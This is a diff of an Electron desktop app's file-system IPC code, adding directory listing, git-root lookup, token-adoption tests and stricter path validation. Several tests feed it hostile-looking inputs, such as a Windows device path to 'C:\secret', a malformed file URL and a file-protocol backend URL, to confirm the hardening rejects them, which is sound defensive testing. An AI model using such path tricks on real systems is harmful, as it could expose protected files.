fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when token already matches')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'same-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
}
|
||||
}),
|
||||
/boom/
|
||||
)
|
||||
})
|
||||
|
||||
test('fetchPublicText rejects unsupported protocols', async () => {
|
||||
await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
|
||||
})
|
||||
|
||||
test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
|
||||
const cases = [
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
|
||||
// Live child + drift = our backend regenerated the token (env pin lost).
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
|
||||
]
|
||||
for (const [input, expected] of cases) {
|
||||
assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
|
||||
}
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken adopts drift from a live child', async () => {
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => false,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
|
||||
label: 'Hermes backend for profile "work"'
|
||||
}),
|
||||
/profile "work".*process we did not spawn/
|
||||
)
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
|
||||
const logs = []
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
|
||||
})
|
||||
109
apps/desktop/electron/fs-read-dir.cjs
Normal file
109
apps/desktop/electron/fs-read-dir.cjs
Normal file
@@ -0,0 +1,109 @@
|
||||
'use strict'
|
||||
|
||||
const fs = require('node:fs')
|
||||
const path = require('node:path')
|
||||
const { resolveDirectoryForIpc } = require('./hardening.cjs')
|
||||
|
||||
const FS_READDIR_STAT_CONCURRENCY = 16
|
||||
|
||||
// Always-hidden noise (covers non-git projects too; gitignore catches many of
|
||||
// these, but the project tree should keep the same hygiene without one).
|
||||
const FS_READDIR_HIDDEN = new Set([
|
||||
'.git',
|
||||
'.hg',
|
||||
'.svn',
|
||||
'.cache',
|
||||
'.next',
|
||||
'.turbo',
|
||||
'.venv',
|
||||
'__pycache__',
|
||||
'build',
|
||||
'dist',
|
||||
'node_modules',
|
||||
'target',
|
||||
'venv'
|
||||
])
|
||||
|
||||
function direntIsDirectory(dirent) {
|
||||
return typeof dirent.isDirectory === 'function' && dirent.isDirectory()
|
||||
}
|
||||
|
||||
function direntIsFile(dirent) {
|
||||
return typeof dirent.isFile === 'function' && dirent.isFile()
|
||||
}
|
||||
|
||||
function direntIsSymbolicLink(dirent) {
|
||||
return typeof dirent.isSymbolicLink === 'function' && dirent.isSymbolicLink()
|
||||
}
|
||||
|
||||
function shouldStatDirent(dirent) {
|
||||
if (direntIsDirectory(dirent)) return false
|
||||
|
||||
return direntIsSymbolicLink(dirent) || !direntIsFile(dirent)
|
||||
}
|
||||
|
||||
async function entryForDirent(dirent, resolved, fsImpl) {
|
||||
const fullPath = path.join(resolved, dirent.name)
|
||||
let isDirectory = direntIsDirectory(dirent)
|
||||
|
||||
if (!isDirectory && shouldStatDirent(dirent)) {
|
||||
try {
|
||||
isDirectory = (await fsImpl.promises.stat(fullPath)).isDirectory()
|
||||
} catch {
|
||||
isDirectory = false
|
||||
}
|
||||
}
|
||||
|
||||
return { name: dirent.name, path: fullPath, isDirectory }
|
||||
}
|
||||
|
||||
async function mapWithStatConcurrency(items, mapper) {
|
||||
const results = new Array(items.length)
|
||||
let nextIndex = 0
|
||||
|
||||
async function runWorker() {
|
||||
while (nextIndex < items.length) {
|
||||
const index = nextIndex
|
||||
nextIndex += 1
|
||||
results[index] = await mapper(items[index])
|
||||
}
|
||||
}
|
||||
|
||||
const workerCount = Math.min(FS_READDIR_STAT_CONCURRENCY, items.length)
|
||||
const workers = Array.from({ length: workerCount }, () => runWorker())
|
||||
await Promise.all(workers)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
async function readDirForIpc(dirPath, options = {}) {
|
||||
const fsImpl = options.fs || fs
|
||||
let resolved
|
||||
|
||||
try {
|
||||
;({ resolvedPath: resolved } = await resolveDirectoryForIpc(dirPath, {
|
||||
fs: fsImpl,
|
||||
purpose: 'Directory read'
|
||||
}))
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
|
||||
try {
|
||||
const dirents = await fsImpl.promises.readdir(resolved, { withFileTypes: true })
|
||||
const visibleDirents = dirents.filter(dirent => !FS_READDIR_HIDDEN.has(dirent.name))
|
||||
const entries = await mapWithStatConcurrency(visibleDirents, dirent =>
|
||||
entryForDirent(dirent, resolved, fsImpl)
|
||||
)
|
||||
|
||||
entries.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
|
||||
|
||||
return { entries }
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
readDirForIpc
|
||||
}
|
||||
364
apps/desktop/electron/fs-read-dir.test.cjs
Normal file
364
apps/desktop/electron/fs-read-dir.test.cjs
Normal file
@@ -0,0 +1,364 @@
|
||||
'use strict'
|
||||
|
||||
const assert = require('node:assert/strict')
|
||||
const fs = require('node:fs')
|
||||
const os = require('node:os')
|
||||
const path = require('node:path')
|
||||
const test = require('node:test')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
|
||||
function mkTmpDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-fs-read-dir-'))
|
||||
}
|
||||
|
||||
function fakeDirent(name, flags = {}) {
|
||||
return {
|
||||
name,
|
||||
isDirectory: () => Boolean(flags.directory),
|
||||
isFile: () => Boolean(flags.file),
|
||||
isSymbolicLink: () => Boolean(flags.symlink)
|
||||
}
|
||||
}
|
||||
|
||||
test('readDirForIpc hides noisy directories and files from the project tree', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'node_modules'))
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'target'), 'hidden file')
|
||||
fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['src', 'README.md']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc filters a hidden basename whether it is a file or directory', async () => {
|
||||
const dirRoot = mkTmpDir()
|
||||
const fileRoot = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(dirRoot, 'node_modules'))
|
||||
fs.writeFileSync(path.join(dirRoot, 'visible.txt'), 'visible')
|
||||
fs.writeFileSync(path.join(fileRoot, 'node_modules'), 'hidden file')
|
||||
fs.writeFileSync(path.join(fileRoot, 'visible.txt'), 'visible')
|
||||
|
||||
assert.deepEqual(
|
||||
(await readDirForIpc(dirRoot)).entries.map(entry => entry.name),
|
||||
['visible.txt']
|
||||
)
|
||||
assert.deepEqual(
|
||||
(await readDirForIpc(fileRoot)).entries.map(entry => entry.name),
|
||||
['visible.txt']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(dirRoot, { recursive: true, force: true })
|
||||
fs.rmSync(fileRoot, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc returns directories before files and sorts by name within groups', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.writeFileSync(path.join(root, 'z.txt'), 'z')
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'a.txt'), 'a')
|
||||
fs.mkdirSync(path.join(root, 'lib'))
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['lib', 'src', 'a.txt', 'z.txt']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc accepts file URLs for directories', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
|
||||
|
||||
const result = await readDirForIpc(pathToFileURL(root).toString())
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['src', 'README.md']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc returns invalid-path for blank or non-string input', async () => {
|
||||
let readdirCalls = 0
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => {
|
||||
readdirCalls += 1
|
||||
return []
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assert.deepEqual(await readDirForIpc('', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.deepEqual(await readDirForIpc(' ', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.deepEqual(await readDirForIpc(null, { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.equal(readdirCalls, 0)
|
||||
})
|
||||
|
||||
test('readDirForIpc rejects Windows device paths before readdir', async () => {
|
||||
let readdirCalls = 0
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => {
|
||||
readdirCalls += 1
|
||||
return []
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assert.deepEqual(await readDirForIpc('\\\\?\\C:\\secret', { fs: fsImpl }), {
|
||||
entries: [],
|
||||
error: 'device-path'
|
||||
})
|
||||
assert.equal(readdirCalls, 0)
|
||||
})
|
||||
|
||||
test('readDirForIpc returns filesystem error codes instead of throwing', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
const result = await readDirForIpc(path.join(root, 'missing'))
|
||||
|
||||
assert.deepEqual(result, { entries: [], error: 'ENOENT' })
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc marks a symlink to a directory as a directory', async t => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'actual-dir'))
|
||||
|
||||
try {
|
||||
fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'linked-dir'), 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`symlink creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
const linked = result.entries.find(entry => entry.name === 'linked-dir')
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(linked?.isDirectory, true)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc marks a Windows junction to a directory as a directory', async t => {
|
||||
if (process.platform !== 'win32') {
|
||||
t.skip('junctions are a Windows-specific symlink type')
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'actual-dir'))
|
||||
|
||||
try {
|
||||
fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'junction-dir'), 'junction')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`junction creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
const junction = result.entries.find(entry => entry.name === 'junction-dir')
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(junction?.isDirectory, true)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc allows expanding symlink or junction directories outside the project root', async t => {
|
||||
const root = mkTmpDir()
|
||||
const outside = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.writeFileSync(path.join(outside, 'outside.txt'), 'ok')
|
||||
|
||||
const linkPath = path.join(root, 'outside-link')
|
||||
try {
|
||||
fs.symlinkSync(outside, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(linkPath)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(result.entries, [
|
||||
{ name: 'outside.txt', path: path.join(linkPath, 'outside.txt'), isDirectory: false }
|
||||
])
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
fs.rmSync(outside, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc stats symbolic links and unknown entries without dropping the whole listing', async () => {
|
||||
const input = path.join('virtual-root')
|
||||
const resolved = path.resolve(input)
|
||||
const statCalls = []
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => [
|
||||
fakeDirent('unknown-entry'),
|
||||
fakeDirent('linked-dir', { symlink: true }),
|
||||
fakeDirent('broken-link', { symlink: true }),
|
||||
fakeDirent('plain.txt', { file: true })
|
||||
],
|
||||
stat: async fullPath => {
|
||||
if (fullPath === resolved) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
|
||||
statCalls.push(fullPath)
|
||||
if (fullPath.endsWith(`${path.sep}linked-dir`)) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
throw Object.assign(new Error('gone'), { code: 'ENOENT' })
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(input, { fs: fsImpl })
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
statCalls.sort(),
|
||||
[path.join(resolved, 'broken-link'), path.join(resolved, 'linked-dir'), path.join(resolved, 'unknown-entry')].sort()
|
||||
)
|
||||
assert.deepEqual(result.entries, [
|
||||
{ name: 'linked-dir', path: path.join(resolved, 'linked-dir'), isDirectory: true },
|
||||
{ name: 'broken-link', path: path.join(resolved, 'broken-link'), isDirectory: false },
|
||||
{ name: 'plain.txt', path: path.join(resolved, 'plain.txt'), isDirectory: false },
|
||||
{ name: 'unknown-entry', path: path.join(resolved, 'unknown-entry'), isDirectory: false }
|
||||
])
|
||||
})
|
||||
|
||||
test('readDirForIpc bounds concurrent stats while preserving complete sorted output', async () => {
|
||||
const input = path.join('virtual-root')
|
||||
const resolved = path.resolve(input)
|
||||
const names = Array.from({ length: 105 }, (_, index) => `entry-${String(104 - index).padStart(3, '0')}`)
|
||||
const failedName = 'entry-100'
|
||||
const directoryNames = new Set(names.filter((_, index) => index % 10 === 4))
|
||||
const successfulDirectoryNames = new Set([...directoryNames].filter(name => name !== failedName))
|
||||
const statCalls = []
|
||||
let active = 0
|
||||
let peak = 0
|
||||
let releaseStats
|
||||
let markFirstStatStarted
|
||||
const statsReleased = new Promise(resolve => {
|
||||
releaseStats = resolve
|
||||
})
|
||||
const firstStatStarted = new Promise(resolve => {
|
||||
markFirstStatStarted = resolve
|
||||
})
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => [
|
||||
fakeDirent('node_modules', { symlink: true }),
|
||||
...names.map((name, index) => fakeDirent(name, { symlink: index % 2 === 0 }))
|
||||
],
|
||||
stat: async fullPath => {
|
||||
if (fullPath === resolved) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
|
||||
statCalls.push(fullPath)
|
||||
active += 1
|
||||
peak = Math.max(peak, active)
|
||||
markFirstStatStarted()
|
||||
await statsReleased
|
||||
active -= 1
|
||||
|
||||
const name = path.basename(fullPath)
|
||||
if (name === failedName) {
|
||||
throw Object.assign(new Error('gone'), { code: 'ENOENT' })
|
||||
}
|
||||
|
||||
return { isDirectory: () => successfulDirectoryNames.has(name) }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const resultPromise = readDirForIpc(input, { fs: fsImpl })
|
||||
await firstStatStarted
|
||||
await new Promise(resolve => setImmediate(resolve))
|
||||
releaseStats()
|
||||
const result = await resultPromise
|
||||
|
||||
const expectedNames = [
|
||||
...names.filter(name => successfulDirectoryNames.has(name)).sort(),
|
||||
...names.filter(name => !successfulDirectoryNames.has(name)).sort()
|
||||
]
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(result.entries.length, names.length)
|
||||
assert.equal(statCalls.length, names.length)
|
||||
assert.equal(statCalls.some(fullPath => fullPath.endsWith(`${path.sep}node_modules`)), false)
|
||||
assert.ok(peak > 1, `expected concurrent stats, observed peak ${peak}`)
|
||||
assert.ok(peak <= 16, `expected at most 16 concurrent stats, observed peak ${peak}`)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
expectedNames
|
||||
)
|
||||
assert.equal(result.entries.find(entry => entry.name === failedName)?.isDirectory, false)
|
||||
assert.equal(
|
||||
result.entries.filter(entry => entry.isDirectory).length,
|
||||
successfulDirectoryNames.size
|
||||
)
|
||||
})
|
||||
54
apps/desktop/electron/git-root.cjs
Normal file
54
apps/desktop/electron/git-root.cjs
Normal file
@@ -0,0 +1,54 @@
|
||||
'use strict'
|
||||
|
||||
const fs = require('node:fs')
|
||||
const path = require('node:path')
|
||||
const { resolveRequestedPathForIpc } = require('./hardening.cjs')
|
||||
|
||||
function findGitRoot(start, fsImpl = fs) {
|
||||
let dir = start
|
||||
|
||||
for (let i = 0; i < 50; i += 1) {
|
||||
try {
|
||||
if (fsImpl.existsSync(path.join(dir, '.git'))) {
|
||||
return dir
|
||||
}
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
const parent = path.dirname(dir)
|
||||
|
||||
if (parent === dir) {
|
||||
return null
|
||||
}
|
||||
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
async function gitRootForIpc(startPath, options = {}) {
|
||||
const fsImpl = options.fs || fs
|
||||
let resolved
|
||||
|
||||
try {
|
||||
resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Git root' })
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
try {
|
||||
const stat = await fsImpl.promises.stat(resolved)
|
||||
const start = stat.isDirectory() ? resolved : path.dirname(resolved)
|
||||
|
||||
return findGitRoot(start, fsImpl)
|
||||
} catch {
|
||||
return findGitRoot(resolved, fsImpl)
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
findGitRoot,
|
||||
gitRootForIpc
|
||||
}
|
||||
40
apps/desktop/electron/git-root.test.cjs
Normal file
40
apps/desktop/electron/git-root.test.cjs
Normal file
@@ -0,0 +1,40 @@
|
||||
'use strict'
|
||||
|
||||
const assert = require('node:assert/strict')
|
||||
const fs = require('node:fs')
|
||||
const os = require('node:os')
|
||||
const path = require('node:path')
|
||||
const test = require('node:test')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
|
||||
const { gitRootForIpc } = require('./git-root.cjs')
|
||||
|
||||
function mkTmpDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-git-root-'))
|
||||
}
|
||||
|
||||
test('gitRootForIpc returns null for invalid and device paths', async () => {
|
||||
assert.equal(await gitRootForIpc(''), null)
|
||||
assert.equal(await gitRootForIpc(' '), null)
|
||||
assert.equal(await gitRootForIpc(null), null)
|
||||
assert.equal(await gitRootForIpc('\\\\?\\C:\\secret'), null)
|
||||
assert.equal(await gitRootForIpc('file:///%E0%A4%A'), null)
|
||||
})
|
||||
|
||||
test('gitRootForIpc resolves directories files missing descendants and file URLs', async t => {
|
||||
const root = mkTmpDir()
|
||||
t.after(() => fs.rmSync(root, { recursive: true, force: true }))
|
||||
|
||||
const gitDir = path.join(root, '.git')
|
||||
const srcDir = path.join(root, 'src')
|
||||
const filePath = path.join(srcDir, 'index.ts')
|
||||
fs.mkdirSync(gitDir)
|
||||
fs.mkdirSync(srcDir)
|
||||
fs.writeFileSync(filePath, 'export {}\n', 'utf8')
|
||||
|
||||
assert.equal(await gitRootForIpc(root), root)
|
||||
assert.equal(await gitRootForIpc(srcDir), root)
|
||||
assert.equal(await gitRootForIpc(filePath), root)
|
||||
assert.equal(await gitRootForIpc(pathToFileURL(filePath).toString()), root)
|
||||
assert.equal(await gitRootForIpc(path.join(srcDir, 'missing.ts')), root)
|
||||
})
|
||||
@@ -106,71 +106,155 @@ function sensitiveFileBlockReason(filePath) {
|
||||
return null
|
||||
}
|
||||
|
||||
function resolveRequestedFilePath(filePath, baseDir = process.cwd(), purpose = 'File read') {
|
||||
const raw = String(filePath || '').trim()
|
||||
function ipcPathError(code, message) {
|
||||
const error = new Error(message)
|
||||
error.code = code
|
||||
return error
|
||||
}
|
||||
|
||||
function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
|
||||
if (typeof filePath !== 'string') {
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
|
||||
}
|
||||
|
||||
const raw = filePath.trim()
|
||||
|
||||
if (!raw) {
|
||||
throw new Error(`${purpose} failed: file path is required.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
|
||||
}
|
||||
|
||||
if (raw.includes('\0')) {
|
||||
throw new Error(`${purpose} failed: file path is invalid.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is invalid.`)
|
||||
}
|
||||
|
||||
const normalized = raw.replace(/\\/g, '/').toLowerCase()
|
||||
if (
|
||||
normalized.startsWith('//?/') ||
|
||||
normalized.startsWith('//./') ||
|
||||
normalized.startsWith('globalroot/device/') ||
|
||||
normalized.includes('/globalroot/device/')
|
||||
) {
|
||||
throw ipcPathError('device-path', `${purpose} blocked: Windows device paths are not allowed.`)
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
|
||||
function resolveRequestedPathForIpc(filePath, options = {}) {
|
||||
const purpose = String(options.purpose || 'File read')
|
||||
const raw = rejectUnsafePathSyntax(filePath, purpose)
|
||||
|
||||
if (/^file:/i.test(raw)) {
|
||||
let resolvedPath
|
||||
try {
|
||||
return fileURLToPath(raw)
|
||||
const parsed = new URL(raw)
|
||||
if (parsed.protocol !== 'file:') {
|
||||
throw new Error('not a file URL')
|
||||
}
|
||||
resolvedPath = fileURLToPath(parsed)
|
||||
} catch {
|
||||
throw new Error(`${purpose} failed: file URL is invalid.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file URL is invalid.`)
|
||||
}
|
||||
|
||||
rejectUnsafePathSyntax(resolvedPath, purpose)
|
||||
return path.resolve(resolvedPath)
|
||||
}
|
||||
|
||||
const resolvedBase = path.resolve(String(baseDir || process.cwd()))
|
||||
return path.resolve(resolvedBase, raw)
|
||||
const baseInput = typeof options.baseDir === 'string' && options.baseDir.trim() ? options.baseDir : process.cwd()
|
||||
const safeBaseInput = rejectUnsafePathSyntax(baseInput, purpose)
|
||||
const resolvedBase = path.resolve(safeBaseInput)
|
||||
rejectUnsafePathSyntax(resolvedBase, purpose)
|
||||
const resolvedPath = path.resolve(resolvedBase, raw)
|
||||
rejectUnsafePathSyntax(resolvedPath, purpose)
|
||||
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
async function statForIpc(fsImpl, resolvedPath, purpose, typeLabel) {
|
||||
try {
|
||||
return await fsImpl.promises.stat(resolvedPath)
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
if (code === 'ENOENT' || code === 'ENOTDIR') {
|
||||
throw ipcPathError(code || 'ENOENT', `${purpose} failed: ${typeLabel} does not exist.`)
|
||||
}
|
||||
throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function realpathForIpc(fsImpl, resolvedPath, purpose) {
|
||||
if (typeof fsImpl.promises.realpath !== 'function') {
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
try {
|
||||
const realPath = await fsImpl.promises.realpath(resolvedPath)
|
||||
rejectUnsafePathSyntax(realPath, purpose)
|
||||
return realPath
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
}
|
||||
|
||||
function rejectSensitiveFilePath(filePath, purpose) {
|
||||
const blockReason = sensitiveFileBlockReason(filePath)
|
||||
if (blockReason) {
|
||||
throw ipcPathError('sensitive-file', `${purpose} blocked for sensitive file: ${blockReason}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveDirectoryForIpc(dirPath, options = {}) {
|
||||
const purpose = String(options.purpose || 'Directory read')
|
||||
const fsImpl = options.fs || fs
|
||||
const resolvedPath = resolveRequestedPathForIpc(dirPath, { baseDir: options.baseDir, purpose })
|
||||
const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'directory')
|
||||
|
||||
if (!stat.isDirectory()) {
|
||||
throw ipcPathError('ENOTDIR', `${purpose} failed: path is not a directory.`)
|
||||
}
|
||||
|
||||
const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
|
||||
|
||||
return { realPath, resolvedPath, stat }
|
||||
}
|
||||
|
||||
async function resolveReadableFileForIpc(filePath, options = {}) {
|
||||
const purpose = String(options.purpose || 'File read')
|
||||
const resolvedPath = resolveRequestedFilePath(filePath, options.baseDir, purpose)
|
||||
const fsImpl = options.fs || fs
|
||||
const resolvedPath = resolveRequestedPathForIpc(filePath, { baseDir: options.baseDir, purpose })
|
||||
|
||||
if (options.blockSensitive !== false) {
|
||||
const blockReason = sensitiveFileBlockReason(resolvedPath)
|
||||
if (blockReason) {
|
||||
throw new Error(`${purpose} blocked for sensitive file: ${blockReason}`)
|
||||
}
|
||||
rejectSensitiveFilePath(resolvedPath, purpose)
|
||||
}
|
||||
|
||||
let stat
|
||||
try {
|
||||
stat = await fs.promises.stat(resolvedPath)
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
if (code === 'ENOENT' || code === 'ENOTDIR') {
|
||||
throw new Error(`${purpose} failed: file does not exist.`)
|
||||
}
|
||||
throw new Error(`${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'file')
|
||||
|
||||
if (stat.isDirectory()) {
|
||||
throw new Error(`${purpose} failed: path points to a directory.`)
|
||||
throw ipcPathError('EISDIR', `${purpose} failed: path points to a directory.`)
|
||||
}
|
||||
|
||||
if (!stat.isFile()) {
|
||||
throw new Error(`${purpose} failed: only regular files can be read.`)
|
||||
throw ipcPathError('EINVAL', `${purpose} failed: only regular files can be read.`)
|
||||
}
|
||||
|
||||
const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
|
||||
if (options.blockSensitive !== false) {
|
||||
rejectSensitiveFilePath(realPath, purpose)
|
||||
}
|
||||
|
||||
const maxBytes = Number.isFinite(options.maxBytes) && Number(options.maxBytes) > 0 ? Number(options.maxBytes) : null
|
||||
if (maxBytes && stat.size > maxBytes) {
|
||||
throw new Error(`${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
|
||||
throw ipcPathError('EFBIG', `${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
|
||||
}
|
||||
|
||||
try {
|
||||
await fs.promises.access(resolvedPath, fs.constants.R_OK)
|
||||
await fsImpl.promises.access(resolvedPath, fs.constants.R_OK)
|
||||
} catch {
|
||||
throw new Error(`${purpose} failed: file is not readable.`)
|
||||
